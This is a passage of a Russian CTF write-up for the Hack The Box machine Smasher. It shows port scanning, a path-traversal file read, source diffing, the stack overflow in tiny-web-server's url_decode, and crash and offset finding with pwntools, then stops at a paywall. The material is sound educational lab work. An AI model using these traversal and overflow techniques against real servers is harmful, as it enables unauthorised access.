В этой статье тебя ждут: низкоуровневая эксплуатация веб-сервера со срывом стека и генерацией шелл-кода на лету с помощью древней магии pwntools; атака Padding Oracle на питоновское приложение для вскрытия шифртекста AES-CBC, а также реверс-инжиниринг исполняемого файла с атрибутом SUID для повышения привилегий в системе до локального суперпользователя.

Все это мы проделаем на пути к root-флагу виртуалки Smasher (уровень сложности Insane — 7,6 балла из 10) с CTF-площадки Hack The Box. Поскольку речь в основном пойдет о срыве стека, это будет отличным завершением для нашего цикла «В королевстве PWN».

HTB — Smasher
HTB — Smasher

 

В королевстве PWN

В этом цикле статей мы изучаем разные аспекты атак типа «переполнение стека». Читай также:

 

Разведка

 

Сканирование портов

Я продолжаю извращаться с методами обнаружения открытых портов, и в этот раз будем пользоваться связкой из Masscan и Nmap. Masscan, к слову, на сегодняшний день самый быстрый из асинхронных сканеров портов. Ко всему прочему он опирается на собственное видение стека TCP/IP и, по словам разработчика, может просканировать весь интернет за шесть минут с одного хоста.

root@kali:~# masscan --rate=1000 -e tun0 -p1-65535,U:1-65535 10.10.10.89 > ports

Первой командой я инициирую сканирование всего диапазона портов (в том числе UDP) IP-адреса, по которому живет Smasher, и перенаправляю результат в текстовый файл.

root@kali:~# ports=`cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr "\n" ',' | sed 's/,$//'`
root@kali:~# nmap -n -Pn -sV -sC -oA nmap/smasher -p$ports 10.10.10.89

Далее с помощью стандартных средств текстового процессинга в Linux обрабатываю результаты скана, чтобы найденные порты хранились одной строкой через запятую, сохраняю эту строку в переменной ports и спускаю с поводка Nmap.

Сканирование портов ВМ Smasher
Сканирование портов ВМ Smasher

По мнению Nmap, мы имеем дело с Ubuntu 16.04 (Xenial). Оно основано на информации о баннере SSH. Постучаться же можно в порты 22 и 1111. На последнем, кстати, висит некий shenfeng tiny-web-server — вот его мы и отправимся исследовать в первую очередь.

 

Веб — порт 1111

Браузер

По адресу http://10.10.10.89:1111/ тебя встретит листинг корневой директории веб-сервера.

Листинг корневой директории веб-сервера
Листинг корневой директории веб-сервера

Интересно, что страница index.html существует, но редиректа на нее нет — вместо этого открывается список файлов каталога. Запомним это.

Форма авторизации /index.html
Форма авторизации /index.html

Если мы перейдем на /index.html вручную, то увидим неработающую заглушку для формы авторизации (можно печатать в полях ввода, но кнопка Login не работает). Забавно, что оба поля для ввода называются input.email.

Наименования полей формы авторизации
Наименования полей формы авторизации

A tiny web server in C

Если поискать shenfeng tiny-web-server в Сети, по первой же ссылке в выдаче результатов можно найти репозиторий проекта на GitHub.

Сразу же бросаются в глаза предупреждения, что код небезопасен: первое в самом описании сервера (как единственная его «антифича»), второе — в открытых issues.

Проблема безопасности tiny-web-server (Path Traversal)
Проблема безопасности tiny-web-server (Path Traversal)

Если верить описанию, то tiny-web-server подвержен Path Traversal, а возможность просматривать листинги директорий как будто шепчет тебе на ухо: «Так оно и есть…»

 

Анализ tiny-web-server

Проверим выполнимость Path Traversal. Так как Firefox любит исправлять синтаксически некорректные конструкции в адресной строке (в частности, резать префиксы вида ../../../), то я сделаю это с помощью nc, как показано в issue.

PoC уязвимости выхода за корневую директорию веб-сервера
PoC уязвимости выхода за корневую директорию веб-сервера

Что и требовалось доказать — у нас есть возможность читать файлы на сервере!

Что дальше? Осмотримся. Если дублировать первичный слеш для доступа к каталогам, сервер подумает, что таким образом мы обращаемся к корневой директории, — и разведку можно будет провести прямо из браузера.

Содержимое /home
Содержимое /home

В /home нам доступна всего одна директория — /www.

Содержимое /home/www
Содержимое /home/www

Из интересного здесь — скрипт restart.sh для перезапуска инстанса процесса сервера, а также сама директория с проектом.

#!/usr/bin/env bash

## Please don’t edit this file let others players have fun

cd /home/www/tiny-web-server/
ps aux | grep tiny | awk '{print $2}' | xargs kill -9
nohup ./tiny public_html/ 1111 2>&1 > /dev/null &
Содержимое /home/www/tiny-web-server
Содержимое /home/www/tiny-web-server

Чтобы не мучиться с загрузкой каждого файла по отдельности, я клонирую директорию /home/www целиком с помощью wget, исключив каталог .git, — различия в коде веб-сервера по сравнению с GitHub-версией мы узнаем чуть позже другим способом.

root@kali:~# wget --mirror -X home/www/tiny-web-server/.git http://10.10.10.89:1111//home/www/

Клонирование /home/www с помощью wget
Клонирование /home/www с помощью wget

Три файла представляют для нас интерес: Makefile, tiny и tiny.c.

Листинг локальной копии /home/www
Листинг локальной копии /home/www

В Makefile содержатся инструкции для сборки исполняемого файла.

CC = c99
CFLAGS = -Wall -O2

## LIB = -lpthread

all: tiny

tiny: tiny.c
    $(CC) $(CFLAGS) -g -fno-stack-protector -z execstack -o tiny tiny.c $(LIB)

clean:
    rm -f *.o tiny *~

Флаги -g -fno-stack-protector -z execstack намекают нам на предполагаемый «по сюжету» вектор атаки — срыв стека, который, надеюсь, уже успел тебе полюбиться.

Файл tiny — сам бинарник, который развернут на Smasher.

Сводка безопасности исполняемого файла tiny (checksec)
Сводка безопасности исполняемого файла tiny (checksec)

У нас есть исполняемый стек, сегменты с возможностью записи и исполнения произвольных данных и активный механизм FORTIFY — последний, правда, ни на что не повлияет в нашей ситуации (подробнее о нем можно прочесть в первой части цикла, где мы разбирали вывод checksec). Плюс нужно помнить, что на целевом хосте, скорее всего, активен механизм рандомизации адресного пространства ASLR.

Прежде чем перейти непосредственно к сплоитингу, посмотрим, изменил ли как-нибудь автор машины исходный код tiny.c (сам файл я положу к себе на гитхаб, чтобы не загромождать тело статьи).

 

Изменения в исходном коде tiny.c

Если нужно построчно сравнить текстовые файлы, я предпочитаю расширение DiffTabs для Sublime Text, где — в отличие от дефолтного diff — есть подсветка синтаксиса. Однако, если ты привык работать исключительно из командной строки, colordiff станет удобной альтернативой.

Выдернем последнюю версию tiny.c с гитхаба (будем звать ее tiny-github.c) и сравним с тем исходником, который мы захватили на Smasher.

root@kali:~# wget -qO tiny-github.c https://raw.githubusercontent.com/shenfeng/tiny-web-server/master/tiny.c
root@kali:~# colordiff tiny-github.c tiny.c

166c166
<     sprintf(buf, "HTTP/1.1 200 OK\r\n%s%s%s%s%s",
---
>     sprintf(buf, "HTTP/1.1 200 OK\r\nServer: shenfeng tiny-web-server\r\n%s%s%s%s%s",
233a234,236
>     int reuse = 1;
>     if (setsockopt(listenfd, SOL_SOCKET, SO_REUSEADDR, (const char*)&reuse, sizeof(reuse)) < 0)
>         perror("setsockopt(SO_REUSEADDR) failed");
234a238,239
>     if (setsockopt(listenfd, SOL_SOCKET, SO_REUSEPORT, (const char*)&reuse, sizeof(reuse)) < 0)
>         perror("setsockopt(SO_REUSEPORT) failed");
309c314
<     sprintf(buf, "HTTP/1.1 %d %s\r\n", status, msg);
---
>     sprintf(buf, "HTTP/1.1 %d %s\r\nServer: shenfeng tiny-web-server\r\n", status, msg);
320c325
<         sprintf(buf, "HTTP/1.1 206 Partial\r\n");
---
>         sprintf(buf, "HTTP/1.1 206 Partial\r\nServer: shenfeng tiny-web-server\r\n");
346c351,355
< void process(int fd, struct sockaddr_in *clientaddr){
---
> int process(int fd, struct sockaddr_in *clientaddr){
>     int pid = fork();
>     if(pid==0){
>     if(fd < 0)
>       return 1;
377a387,389
>     return 1;
>   }
> return 0;
407a420
>     int copy_listen_fd = listenfd;
417,420c430
<
<     for(int i = 0; i < 10; i++) {
<         int pid = fork();
<         if (pid == 0) {         //  child
---
>     signal(SIGCHLD, SIG_IGN);
421a432
>
423c434,437
<                 process(connfd, &clientaddr);
---
>               if(connfd > -1)  {
>                 int res = process(connfd, &clientaddr);
>               if(res == 1)
>                       exit(0);
424a439,440
>               }
>
426,437d441
<         } else if (pid > 0) {   //  parent
<             printf("child pid is %d\n", pid);
<         } else {
<             perror("fork");
<         }
<     }
<
<     while(1){
<         connfd = accept(listenfd, (SA *)&clientaddr, &clientlen);
<         process(connfd, &clientaddr);
<         close(connfd);
<     }
438a443
>

Незначительные изменения:

  • добавлена обработка ошибок (233a234, 234a238);
  • в строчках баннеров веб-сервера появилось имя разработчика, что облегчает атакующему идентификацию ПО на этапе сканирования хоста (166c166, 320c325).

Важные изменения: модифицирована логика обработки запросов клиента (все, что касается функции process и создания форков). Если в tiny-github.c реализована многопоточность с помощью концепции PreFork, когда мастер-процесс спавнит дочерние в цикле от 0 до 9, то в tiny.c родитель форкается только один раз — и уже не в теле main, а в самой функции process. Полагаю, это было сделано, чтобы ослабить нагрузку на сервер — ведь ВМ атакует множество людей одновременно. Ну а нам это только на руку, потому что дебажить многопоточные приложения — то еще удовольствие.

 

Найти уязвимую строку

На одной из моих вузовских практик преподаватель поставил такую задачу: без доступа в Сеть с точностью до строки найти в исходном коде пакета OpenSSL место, ответственное за нашумевшую уязвимость Heartbleed (CVE-2014-0160). Разумеется, в большинстве случаев нельзя однозначно обвинить во всех бедах одну-единственную строку, но всегда можно (и нужно) выделить для себя место в коде, от которого ты будешь отталкиваться при атаке.

Найдем такую строку в tiny.c. В формате статьи трудно анализировать исходные коды без нагромождения повторяющейся информации — поэтому я представлю анализ в виде цепочки «прыжков» по функциям (начиная от main и заканчивая уязвимостью), а ты потом сам проследишь этот путь в своем редакторе.

main() { int res = process(connfd, &clientaddr); } ==> process() { parse_request(fd, &req); } ==> parse_request() { url_decode(filename, req->filename, MAXLINE); }

Функция url_decode принимает три аргумента: два массива строк (источник — filename и назначение — req->filename) и количество копируемых байтов из первого массива во второй. В нашем случае это константа MAXLINE, равная 1024.

void url_decode(char* src, char* dest, int max) {
    char *p = src;
    char code[3] = { 0 };
    while(*p && --max) {
        if(*p == '%') {
            memcpy(code, ++p, 2);
            *dest++ = (char)strtoul(code, NULL, 16);
            p += 2;
        } else {
            *dest++ = *p++;
        }
    }
    *dest = '\0';
}

Алгоритм функции тривиален. Клиент запрашивает у сервера файл. Если строка с именем этого файла содержит данные в Percent-encoding (их можно определить по символу %), функция выполняет декодирование и помещает соответствующий байт в массив назначения. В противном случае происходит простое побайтовое копирование. Однако проблема в том, что локальный массив filename имеет размер MAXLINE (то есть 1024 байта), а вот поле req->filename структуры http_request располагает лишь 512 байтами.

typedef struct {
    char filename[512];
    off_t offset;              /* for support Range */
    size_t end;
} http_request;

Налицо классический Out-of-bounds Write (CWE-787: запись за пределы доступной памяти) — он и делает возможным срыв стека.

В эпилоге мы посмотрим на анализ трассировки этого кода, а пока подумаем, как можно использовать уязвимое место tiny.c.

 

Разработка эксплоита

Сперва насладимся моментом, когда сервер tiny крашится. Так как с ошибкой сегментации упадет дочерний процесс программы, привычного алерта Segmentation fault в окне терминала мы не увидим. Чтобы убедиться, что процесс отработал некорректно и завершился сегфолтом, я открою журнал сообщений ядра dmesg (с флагом -w) и запрошу у сервера (несуществующий) файл с именем из тысячи букв A.

root@kali:~# ./tiny 1111
root@kali:~# dmesg -w
root@kali:~# curl localhost:1111/$(python -c 'print "A"*1000')

Подтверждение ошибки сегментации процесса tiny
Подтверждение ошибки сегментации процесса tiny

Класс: видим, что запрос выбивает child-процесс c general protection fault (или segmentation fault в нашем случае).

Поиск точки перезаписи RIP

Запустим исполняемый файл сервера в отладчике GDB.

INFO

Классический GDB без обвесов по умолчанию следит за выполнением родительского процесса, однако установленный ассистент PEDA будет мониторить дочерний процесс, если при выполнении был форк. Это эквивалентно настройке set follow-fork-mode child в оригинальном GDB.

root@kali:~# gdb-peda ./tiny
Reading symbols from ./tiny...
gdb-peda$ r 1111
Starting program: /root/htb/boxes/smasher/tiny 1111
listen on port 1111, fd is 3

Теперь важный момент: я не могу пользоваться циклическим паттерном де Брёйна, который предлагает PEDA, ведь он содержит символы '%' — а они, если помнишь, трактуются сервером как начало URL-кодировки.

Циклическая последовательность, сгенерированная при помощи GDB PEDA
Циклическая последовательность, сгенерированная при помощи GDB PEDA

Значит, нам нужен другой генератор. Можно пользоваться msf-pattern_create -l <N> и msf-pattern_offset -q <0xFFFF>, чтобы создать последовательность нужной длины и найти смещение. Однако я предпочитаю модуль pwntools, который работает в разы быстрее.

Циклические последовательности, сгенерированные при помощи MSF и pwntools
Циклические последовательности, сгенерированные при помощи MSF и pwntools

Как мы видим, ни один из инструментов не использует «плохие» символы, поэтому для генерации вредоносного URL можно юзать любой из них.

root@kali:~# curl localhost:1111/$(python -c 'import pwn; print pwn.cyclic(1000)')
File not found

Мы отправили запрос на открытие несуществующей страницы при помощи curl — а теперь смотрим, какое значение осело в регистре RSP, и рассчитываем величину смещения до RIP.

gdb-peda$ x/xw $rsp
0x7fffffffdf48: 0x66616172
root@kali:~# python -c 'from pwn import *; print cyclic_find(unhex("66616172")[::-1])'
568

Ответ: 568.

После выхода из отладчика хорошо бы принудительно убить все инстансы веб-сервера — ведь однозначно завершился только child-процесс.

root@kali:~# ps aux | grep tiny | awk '{print $2}' | xargs kill -9

Продолжение доступно только участникам

Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

Вариант 2. Открой один материал

Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.


  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    3 комментариев
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии